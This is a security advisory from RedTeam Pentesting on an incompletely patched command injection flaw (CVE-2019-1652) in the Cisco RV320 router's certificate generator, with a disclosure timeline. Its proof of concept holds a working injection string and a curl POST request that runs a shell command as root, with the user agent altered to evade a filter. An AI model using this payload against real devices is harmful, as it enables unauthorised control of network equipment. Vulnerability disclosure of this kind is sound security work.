Advisory: Cisco RV320 Command Injection

RedTeam Pentesting discovered a command injection vulnerability in the
web-based certificate generator feature of the Cisco RV320 router which
was inadequately patched by the vendor.


Details
=======

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 through 1.4.2.20
Fixed Versions: none
Vulnerability Type: Remote Code Execution
Security Risk: medium
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject
Vendor Status: working on patch
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-005
Advisory Status: published
CVE: CVE-2019-1652
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652


Introduction
============

"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])


More Details
============

The router's web interface enables users to generate new X.509
certificates directly on the device. Previously, RedTeam Pentesting
identified a vulnerability (rt-sa-2018-004) [2] in this component. By
providing a specially crafted common name, it was possible to inject
shell commands which were subsequently executed on the router as the
root user. This vulnerability was adressed in firmware version 1.4.2.19
published by Cisco [3].

RedTeam Pentesting discovered that the certificate generator in the patched
firmware is still vulnerable. The update adds several filters to handle
single quotes in user input. However, these filters can be evaded by
specially crafted inputs. By providing the following string for the
certificate's common name, a "ping" command can be injected:

------------------------------------------------------------------------
'a$(ping -c 4 192.168.1.2)'b
------------------------------------------------------------------------


Proof of Concept
================

The following HTTP POST request invokes the certificate generator
function and triggers the command injection. It requires a valid session
cookie for the device's web interface. The user agent "curl" is
blacklisted by the firmware and must be adjusted in the HTTP client.

------------------------------------------------------------------------
$ curl -s -k -A kurl -X POST -b "$COOKIE" \
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\
"&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\
"&organization=A&organization_unit=A&email=ab%40example.com"\
"&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\
"SelectSubject_s=1" \
--data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \
"https://192.168.1.1/certificate_handle2.htm?type=4"
------------------------------------------------------------------------

Afterwards, the incoming ICMP echo requests can be observed on the
attacker's system at 192.168.1.2.


Workaround
==========

Prevent untrusted users from using the router's web interface.


Fix
===

None


Security Risk
=============

The vulnerability allows attackers with administrative access to the
router's web interface to execute arbitrary operating system commands on
the device. Because attackers require valid credentials to the web
interface, this vulnerability is only rated as a medium risk.


Timeline
========

2018-09-19 Original vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-16 List of affected versions provided by vendor
2019-01-22 Firmware 1.4.2.20 released by vendor
2019-01-23 Advisory (rt-sa-2018-004) published

2019-02-07 Incomplete mitigation of vulnerability identified
2019-02-08 Proof of concept sent to vendor
2019-02-08 Receipt of proof of concept acknowledged by vendor
2019-02-15 Full advisory sent to vendor
2019-02-15 Notified vendor of disclosure date: 2019-03-27
2019-03-25 Requested progress update from vendor
2019-03-25 Vendor requests postponed disclosure
2019-03-25 Postponement declined
2019-03-27 Advisory published


References
==========

[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-004
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject


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=======================

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